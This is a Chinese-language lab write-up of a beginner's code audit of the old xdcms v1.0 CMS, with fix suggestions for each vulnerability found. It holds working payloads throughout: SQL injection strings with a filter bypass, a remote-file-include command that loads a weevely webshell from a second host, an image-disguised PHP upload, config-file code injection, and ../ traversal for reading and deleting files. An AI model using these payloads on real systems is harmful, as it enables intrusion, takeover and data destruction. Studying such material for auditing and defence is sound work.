• 代码审计新手入门-xdcms_v1.0


    对xdcms的一次审计练习,萌新入坑必备

    前言

    大家好,我是kn0sky,这次整了一个以前的小CMS进行练手,xdcms,版本: v1.0, 这个CMS虽然有点老,但是用来新手入门练手倒是挺不错的,在这里,你可以接触学习到多种sql语句的SQL注入漏洞,多种文件操作漏洞等等……

    审计的思路是:

    1. 先大概浏览一下源代码,看看代码的逻辑大概是怎么运行的,找找关键的文件
    2. 然后按照功能点进行测试

    环境准备:

    • windows 7 虚拟机
    • xdcms_v1.0源码
    • PHPStudy: PHP 5.2.17 + MySQL 5.7.26 (因为这个CMS太老了,选新版本的PHP容易出问题)

    废话不多说,直接开始吧

    审计开始

    通读代码的时候注意了!不要直接拿到源码就去读!

    我们需要先在虚拟机的phpstudy上把xdcms部署好,访问虚拟机IP进入xdcms的安装,安装完之后,注意啦,这个时候把安装完成后的源码复制出来,用这个源码进行审计!

    因为啊,有些文件啊,是在你安装完CMS之后才会出现的,拿安装之前的CMS去审计,会有些东西找不到的

    文件目录如图所示:

    到此,我们可以正式开始代码审计啦

    大概浏览网站源代码

    通过跟读index.php文件(这个CMS的index.php里面文件包含里又是文件包含,一层又一层),跟读到/system/function/fun.inc.php文件,这里面开始就是网站的功能和内容了

    浏览目录,不难发现:网站的主要功能应该都在system目录中了
    system目录下:

    • function目录里装的都是网站的功能的函数
    • libs目录里装的都是各种功能的类
    • module目录里装的也是不同页面的功能的函数

    uploadfile目录:

    • 应该跟文件上传有关

    api目录下:

    • index文件有个文件包含和两个安全过滤函数

    data目录下:

    • config.inc.php文件为数据库配置信息文件,这个文件就是安装完成之后才生成出来的

    到这里,我们来整理一下现有的信息:

    - 数据库采用GBK编码,可能存在宽字节注入
    - 网站的主要功能在system目录下
    - api目录下的index可能存在文件包含漏洞
    - 网站的功能是通过访问index.php的GET参数m,c,f来选择的,m是文件夹,c是文件,f是函数调用,比如后台的m=xdcms
    

    接下来直接开始测试吧

    按功能点进行测试

    按照正常用户的使用流程先来走一遍看看,这里的注册功能存在IP地址伪造,不过没啥用,就跳过吧,这里的注册页面只有注册,登录两个选择,连个找回密码都没有

    注册好用户之后,进入普通用户的后台看看

    普通用户会员中心存在多处SQL注入漏洞

    这个页面除了我的订单资料管理修改密码信息管理这四个功能之外,其他功能都用不了

    那就一个一个点点看看吧

    打开我心爱的小burp

    点击资料管理后,请求地址为index.php,请求参数为m=member,f=edit,我们跟着index.php去看看这两个参数是做啥的

    跟着跟着就到了/system/function/global.inc.php文件,我们来看一下相关代码:

    //接收参数
    $m=safe_replace(isset($_GET["m"])) ? safe_replace($_GET["m"]) : "content";
    $c=safe_replace(isset($_GET["c"])) ? safe_replace($_GET["c"]) : "index";
    $f=safe_replace(isset($_GET["f"])) ? safe_replace($_GET["f"]) : "init";
    
    include MOD_PATH.$m."/".$c.".php";   //调用类
    $p=new $c();  //实例化
    $p->$f();   //调用方法

    大概意思就是文件包含module目录下的member目录,调用edit()方法

    public function edit(){
            $this->member_info(0);
            $gourl=$_GET['gourl'];
            $userid=$_COOKIE['member_userid'];
            $info=$this->mysql->get_one("select * from ".DB_PRE."member where `userid`=$userid");
    
            $input=base::load_class('input');
            $field=base::load_cache("cache_field_member","_field");
            $fields="";
            foreach($field as $value){
                $fields.="<tr>n";
                $fields.="<td align="right" valign="top"><span class="tdl">".$value['name'].":</span></td>";
                $fields.="<td>".$input->$value['formtype']($value['field'],$info[$value['field']],$value['width'],$value['height'],$value['initial'])." ".$value['explain']."</td>n";
                $fields.="</tr>n";
            }
    
            assign('gourl',$gourl);
            assign('member',$info);
            assign("fields",$fields);
            template("member/edit");
        }

    这里的变量userid从cookie获取值没有经过过滤就带入到sql的查询语句了,还是int型的注入:

    构造cookie中的member_userid为4 and 1=2,可以发现这里的用户信息都消失了

    由此可判断验证这里存在sql注入漏洞

    也可以丢到sqlmap里跑一下,开了一堆工具,电脑太卡了我就不演示了

    除了这里存在SQL注入漏洞,这个界面还有几个地方也存在同样的SQL注入漏洞,产生漏洞的原因都是因为没有过滤从GET请求中获得的member_userid的值
    分别是同个功能文件下的edit_save()password_save()

    到这里,会员中心已经测试完成了,继续下一个功能

    修复建议:

    • 使用intval对userid参数进行过滤

    网站API存在文件包含漏洞

    普通用户能点的功能真没几个,看看API目录的index.php还真会有收获

    源码如下:

    从GET请求中获得两个参数c和f,c是要调用类的php文件名,下面直接就用c变量带入文件包含了

    如果是调用本地php文件,直接输入目录加文件名即可直接调用,如果调用的文件后缀不是php:可以进行00截断

    如果php配置文件打开GPC(magic_quotes_gpc)的话,用00截断会不成功(00截断的条件:PHP版本小于5.3,GPC没有开启)

    如果目标的php配置开启了allow_url_include

    那我们就能进行远程文件包含,各种马,安排

    我图个简单,用weevely生成了一个,然后远程文件包含webshell

    kn0sky@audit-Lab ~/ $ weevely "http://127.0.0.1:28000/api/index.php?c=http://192.168.2.222/wee.php?" knkn0
    
    /home/kn0sky/App/weevely3/core/sessions.py:219: YAMLLoadWarning: calling yaml.load() without Loader=... is deprecated, as the default Loader is unsafe. Please read https://msg.pyyaml.org/load for full details.
      sessiondb = yaml.load(open(dbpath, 'r').read())
    
    [+] weevely 3.7.0
    
    [+] Target:    127.0.0.1:28000:C:phpstudy_proWWWxdcms.comapi
    [+] Session:    /home/kn0sky/.weevely/sessions/127.0.0.1/index_0.session
    [+] Shell:    System shell
    
    [+] Browse the filesystem or execute commands starts the connection
    [+] to the target. Type :help for more information.
    
    weevely> 
    127.0.0.1:28000:C:phpstudy_proWWWxdcms.comapi $ :system_info
    [-][channel] The remote script execution triggers an error 500, check script and payload integrity
    [-][channel] The remote script execution triggers an error 500, check script and payload integrity
    +--------------------+-----------------------------------+
    | client_ip          | 192.168.77.2                      |
    | max_execution_time | 300                               |
    | script             | /api/index.php                    |
    | open_basedir       |                                   |
    | hostname           |                                   |
    | php_self           | /api/index.php                    |
    | script_folder      | http://192.168.2.222              |
    | uname              | Windows NT K0-PC 6.1 build 7600   |
    | pwd                | C:phpstudy_proWWWxdcms.comapi |
    | safe_mode          | False                             |
    | php_version        | 5.2.17                            |
    | dir_sep            |                                  |
    | os                 | Windows NT                        |
    | whoami             |                                   |
    | document_root      | C:/phpstudy_pro/WWW/xdcms.com     |
    +--------------------+-----------------------------------+
    127.0.0.1:28000:C:phpstudy_proWWWxdcms.comapi $

    要是不能远程文件包含,如果有文件上传的地方,可以从这里本地文件包含个图片马去getshell

    修复建议:

    • 可能的话,不要开启allow_url_include
    • 尽量避免目录跳转,过滤 ../

    接下来,该用管理员登录网站了

    管理员后台上传图片+本地文件包含组合漏洞

    后台地址:http://<IP>/index.php?m=xdcms&c=login

    默认管理员账号密码:xdcms:xdcms

    管理员后台在系统设置,网站配置的基本信息那里,可以上传网站logo

    这里的上传有个后端的图片后缀名检测:

    //判断上传是文件还是图片
    $type=isset($_GET['type'])?(int)$_GET['type']:0;
    $size=500000;
    $folder='image';
    $allowed=array( 'gif', 'jpg', 'jpeg', 'png' );
    图片文件名检测:
    
    if ( $this->make_script_safe ){
        if ( preg_match( "/.(cgi|pl|js|asp|php|html|htm|jsp|jar)(.|$)/i"$FILE_NAME ) ){
            $FILE_TYPE                 = 'text/plain';
            $this->file_extension      = 'txt';
            $this->parsed_file_name       = preg_replace( "/.(cgi|pl|js|asp|php|html|htm|jsp|jar)(.|$)/i", "$2", $this->parsed_file_name );
    
            $renamed = 1;
        }
    }
    图片文件类型检测:
    
    if ( $this->image_check ){
        $img_attributes = @getimagesize( $this->saved_upload_name );

    然后还有个文件名修改

    这里可以用GIF89A绕过上传png后缀的php脚本

    可能是这个cms实在太老了,源码拿来直接运行还是出现了一些问题

    上传完图片之后,应该是要回显上传的位置的,可能是出了什么问题,前端这一块我不太懂

    去看服务器上传文件的文件夹:

    文件确实上传成功了

    位置是:/uploadfile/image/20191114/201911141058530.png

    这个图片的内容是:

    GIF89A
    <?PHP phpinfo();?>
    

    我们去结合刚才的本地文件包含试一试

    利用成功

    这里可以利用上传图片马来获取shell

    修复建议:

    • 上传的对图片进行二次渲染或压缩处理

    管理员后台网站信息设置处存在二次漏洞

    刚看到这里的时候,这里的网站地址:http://127.0.0.5我很好奇是干嘛的,因为它现在写的是127.0.0.5而网站的ip与这个无关,去翻翻源码看看这玩意是干嘛的

    if($tag=='config'){
        //判断url是否以/结尾
        $urlnum=strlen($info['siteurl'])-1;
        if(substr($info['siteurl'],$urlnum,1)!="/"){
            showmsg(C("update_url_error"),"-1");
        }//end
    
        $cms=SYS_PATH.'xdcms.inc.php';   //生成xdcms配置文件
        $cmsurl="<?phpn define('CMS_URL','".$info['siteurl']."');n define('TP_FOLDER','".$info['template']."');n define('TP_CACHE',".$info['caching'].");n?>";
        creat_inc($cms,$cmsurl);

    点击保存后,网站获取siteurl没有经过过滤,就拼接到cmsurl字符串变量里去了,然后根据这个cmsurl生成配置文件

    配置文件:

    <?php
     define('CMS_URL','http://127.0.0.5/');
     define('TP_FOLDER','dccms');
     define('TP_CACHE',false);
    ?>

    这里我们可以构造siteurl:

    hello');?><?php phpinfo();?>

    点击保存后,我们去查看一下该配置文件:

    <?php
     define('CMS_URL','hello');?><?php phpinfo();?>';
     define('TP_FOLDER','dccms');
     define('TP_CACHE',false);
    ?>

    这里的配置文件内容生成外部参数可控,导致了可直接getshell

    访问该配置文件页面:http://ip/system/xdcms.inc.php

    修复建议:

    • 不要用这种方式直接修改配置文件

    管理员后台模板功能处存在任意文件读取漏洞

    后台看了看好像也没啥问题了,通过查看这个CMS相关文章得知,这个CMS有的功能有,但是不再后台页面里

    例如/system/module/xdcms/template.php文件的edit功能

    public function edit(){
        $filename=$_GET['file'];
        $file=TP_PATH.TP_FOLDER."/".$filename;
        if(!$fp=@fopen($file,'r+')){
            showmsg(C('open_template_error'),'-1');
        }
        flock($fp,LOCK_EX);
        $str=@fread($fp,filesize($file));
        flock($fp,LOCK_UN);
        fclose($fp);
        assign('filename',$filename);
        assign('content',$str);
        template('template_edit','admin');
    }

    构造如下url即可查看到指定文件

    http://IP/index.php?m=xdcms&c=template&f=edit&file=../../../data/config.inc.php
    

    当然,这需要管理员身份登录才能进行

    修复建议:

    • 限制目录跳转

    管理员后台栏目管理存在SQL注入漏洞

    果然还是直接去读源码比较方便

    这里的源码如下:

    public function add_save(){
        $config=base::load_cache("cache_set_config","_config");
        $catname=$_POST['catname'];
        $catdir=$_POST['catdir'];
        $thumb=$_POST['thumb'];
        $is_link=intval($_POST['is_link']);
        $url=safe_replace($_POST['url']);
        $model=$_POST['model'];
        $sort=intval($_POST['sort']);
        $is_show=intval($_POST['is_show']);
        $parentid=intval($_POST['parentid']);
        $is_target=intval($_POST['is_target']);
        $is_html=intval($_POST['is_html']);
        $template_cate=$_POST['template_cate'];
        $template_list=$_POST['template_list'];
        $template_show=$_POST['template_show'];
        $seo_title=$_POST['seo_title'];
        $seo_key=$_POST['seo_key'];
        $seo_des=$_POST['seo_des'];
        $modelid=modelid($model);
    
        if(empty($catname)||empty($catdir)||empty($model)){
            showmsg(C('material_not_complete'),'-1');
        }
    
        if(!check_str($catdir,'/^[a-z0-9][a-z0-9]*$/')){
            showmsg(C('catdir').C('numbers_and_letters'),'-1');
        }
    
        if($is_html==1){
            if($config['createhtml']!=1){
                    showmsg(C('config_html_error'),'index.php?m=xdcms&c=setting');
            }
        }
    
        $nums=$this->mysql->db_num("category","catdir='".$catdir."'");
        if($nums>0){
            showmsg(C('catdir_exist'),'-1');
        }
    
        $sql="insert into ".DB_PRE."category (catname,catdir,thumb,is_link,url,model,modelid,sort,is_show,is_target,is_html,template_cate,template_list,parentid,template_show,seo_title,seo_key,seo_des) values ('".$catname."','".$catdir."','".$thumb."','".$is_link."','".$url."','".$model."','".$modelid."','".$sort."','".$is_show."','".$is_target."','".$is_html."','".$template_cate."','".$template_list."','".$parentid."','".$template_show."','".$seo_title."','".$seo_key."','".$seo_des."')";
        $this->mysql->query($sql);
        $catid=$this->mysql->insert_id();
    
        if($is_link==0){//生成url
            $ob_url=base::load_class("url");
            $url=$ob_url->caturl($catid,$catdir,$is_html);
            $this->mysql->db_update("category","`url`='".$url."'","`catid`=".$catid);
        }
    
        $this->category_cache();
        showmsg(C('add_success'),'-1');
    }

    这里有一大堆参数没有任何过滤就直接带入sql语句进行插入了,此处可进行SQL注入

    在参数中加个单引号之后提交:

    报错啦!直接报错注入即可

    构造如下payload进行报错注入:

    seo_des=haha' or updatexml(1,(concat(0x7e,(select version()),0x7e)),1) or '

    修复建议:

    • 对输入的参数进行过滤

    管理员后台内容管理处存在SQL注入漏洞


    出现问题的函数依然是add_save(),先来看代码:

    public function add_save(){
        $title=safe_html($_POST['title']);
        $commend=intval($_POST['commend']);
        $username=safe_html($_POST['username']);
        $thumb=$_POST['thumb'];
        $keywords=safe_html($_POST['keywords']);
        $description=safe_html($_POST['description']);
        $inputtime=datetime();
        $updatetime=strtotime($_POST['updatetime']);
        $url=$_POST['url'];
        $catid=intval($_POST['catid']);
        $userid=$_SESSION['admin_id'];
        $fields=$_POST['fields'];
        $style=$_POST['title_color']." ".$_POST['title_weight'];
    
        //此处省略验证数据存在的部分
    
        //添加content
        $sql="insert into ".DB_PRE."content(title,commend,username,thumb,keywords,description,inputtime,updatetime,url,catid,userid,hits,style) values('{$title}','{$commend}','{$username}','{$thumb}','{$keywords}','{$description}','{$inputtime}','{$updatetime}','{$url}','{$catid}','{$userid}',0,'{$style}')";
        $this->mysql->query($sql);
        $last_id=$this->mysql->insert_id();

    依然是一堆参数从POST提交上来没有经过任何过滤就进行了INSERT INTO操作

    构造title:

    AASD' or (select updatexml(1,(concat(0x7e,(select version()),0x7e)),1)) or'

    即可进行报错注入

    修复建议:

    • 对输入的参数进行过滤

    管理员后台数据库管理页面存在任意目录删除漏洞

    地址为:http://ip/index.php?m=xdcms&c=data&f=delete&file=

    这个功能原本是删除备份文件夹的,但是可以通过../进行目录跳转来删除任意文件夹

    源码如下:

    public function delete(){
        $file=trim($_GET["file"]);
        $dir=DATA_PATH.'backup/'.$file;
        if(is_dir($dir)){
            //删除文件夹中的文件
            if (false != ($handle = opendir ( $dir ))) {  
                while ( false !== ($file = readdir ( $handle )) ) {   
                    if ($file != "." && $file != ".."&&strpos($file,".")) {  
                    @unlink($dir."/".$file);    
                    }  
                }  
                closedir ( $handle );  
            }  
            @rmdir($dir);//删除目录
        }
        showmsg(C('success'),'-1');
    }

    通过GET参数file获取目录名,然后进行判断是否是目录,如果是,则删除目录下的文件再删除目录,如果不是,直接返回 success

    我们在网站主目录下创建个文件夹123:

    然后点击删除操作之后,在Burp中拦截修改:

    发送后,我们再来看看网站根目录:

    刚刚创建的123目录,没有啦!

    修复建议:

    • 禁止目录跳转,过滤../

    管理员后台关键词管理页面存在SQL注入漏洞

    这里又是一个后台管理页面访问不到的地方,通过输入url:http://ip/index.php?m=xdcms&c=keywords&f=edit&id=1才能访问

    从这里开始,终于遇到了带有安全过滤防御机制的漏洞

    我们先来看源码:

    public function editsave(){
        $id=isset($_POST['id'])?intval($_POST['id']):0;
        $title=safe_html($_POST['title']);
        $url=safe_html($_POST['url']);
        if(empty($title)||empty($url)||empty($id)){
            showmsg(C('material_not_complete'),'-1');
        }
        $this->mysql->db_update('keywords',"`title`='".$title."',`url`='".$url."'",'`id`='.$id);
        $this->keywords_cache();
        showmsg(C('update_success'),'-1');
    }

    这里的title参数和url参数被safe_html过滤了,我们来看看这个过滤是怎么回事:

    //安全过滤函数
    function safe_html($str){
        if(empty($str)){return;}
        $str=preg_replace('/select|insert | update | and | in | on | left | joins | delete |%|=|/*|*|../|./| union | from | where | group | into |load_file
    |outfile/','',$str);
        return htmlspecialchars($str);
    }

    这里进行了黑名单过滤,过滤sql注入常用关键字,将关键字替换为空,这显然很不靠谱嘛

    通过双写即可绕过:

    Burp拦截,构造payload,发送请求:

    url=http://' or (sselectelect updatexml(2,concat(0x7e,(version())),0)) or '

    成功绕过安全过滤,成功注入!

    修复建议:

    • 对输入的参数进行过滤

    后台联动菜单管理处存在SQL注入漏洞

    源码如下:

    public function add_save(){
        $name=$_POST['name'];
        $parentid=isset($_POST['parentid'])?intval($_POST['parentid']):0;
    
        if(empty($name)){
            showmsg(C('material_not_complete'),'-1');
        }
    
        if($parentid!=0){
            $keyid=$this->get_parentid($parentid);
        }else{
            $keyid=0;
        }
    
        $sql="insert into ".DB_PRE."linkage (name,parentid,keyid) values ('".$name."','".$parentid."','".$keyid."')";
        $this->mysql->query($sql);
        showmsg(C('add_success'),'-1');
    }

    无过滤获取参数name,直接带入insert into语句中进行插入操作

    构造payload如下:

    name=lalala' or (select updatexml(2,concat(0x7e,(version())),0)) or '

    即可报错注入

    这个CMS的SQL注入漏洞可谓是多到不行,这里头还有大量漏洞出现原因相同的SQL注入漏洞

    这里就不多啰嗦了,

    练习到这里,想必对UPDATE,INSERT INTO,SELECT三种SQL语句的SQL注入有了一定掌握,接下来看点不一样的

    网站安装页面存在全局变量覆盖漏洞

    在网站的/install/index.php中开头有如下代码

    foreach(Array('_GET','_POST','_COOKIE') as $_request){
        foreach($$_request as $_k => $_v) ${$_k} = _runmagicquotes($_v);
    }
    function _runmagicquotes(&$svar){
        if(!get_magic_quotes_gpc()){
            if( is_array($svar) ){
                foreach($svar as $_k => $_v) $svar[$_k] = _runmagicquotes($_v);
            }else{
                $svar = addslashes($svar);
            }
        }
        return $svar;
    }
    if(file_exists($insLockfile)){
        exit(" 程序已运行安装,如果你确定要重新安装,请先从FTP中删除 install/install_lock.txt!");
    }

    遍历传入的参数对数组进行赋值

    然后传入$insLockfile来判断程序是否安装

    如果我们在访问这个页面的时候直接在GET参数中加上?insLockfile=xyz(反正是一个不存在的文件名就行)则可直接进入安装

    修复建议:

    • 通过其他方式来检测系统是否已安装

    总结

    该CMS没有使用框架,非常适合新手入门练习使用,当然,存在的漏洞不仅仅有这些,有兴趣的童鞋可以接着去探索,如果你觉得我文章中有什么需要进行改进的地方,欢迎随时与我联系。

  • 相关阅读:
    PHP抓取网络数据的6种常见方法
    Linux scp 使用详解
    php.ini的配置
    VS2013中,将Qt的GUI程序改为控制台程序
    Matlab 摄像机标定+畸变校正
    Camera 3D概念
    旋转矩阵
    #pragma pack()用法详解
    【Boost】boost库获取格式化时间
    C/C++读写csv文件
  • 原文地址:https://www.cnblogs.com/pt007/p/11943242.html
Copyright © 2020-2023  润新知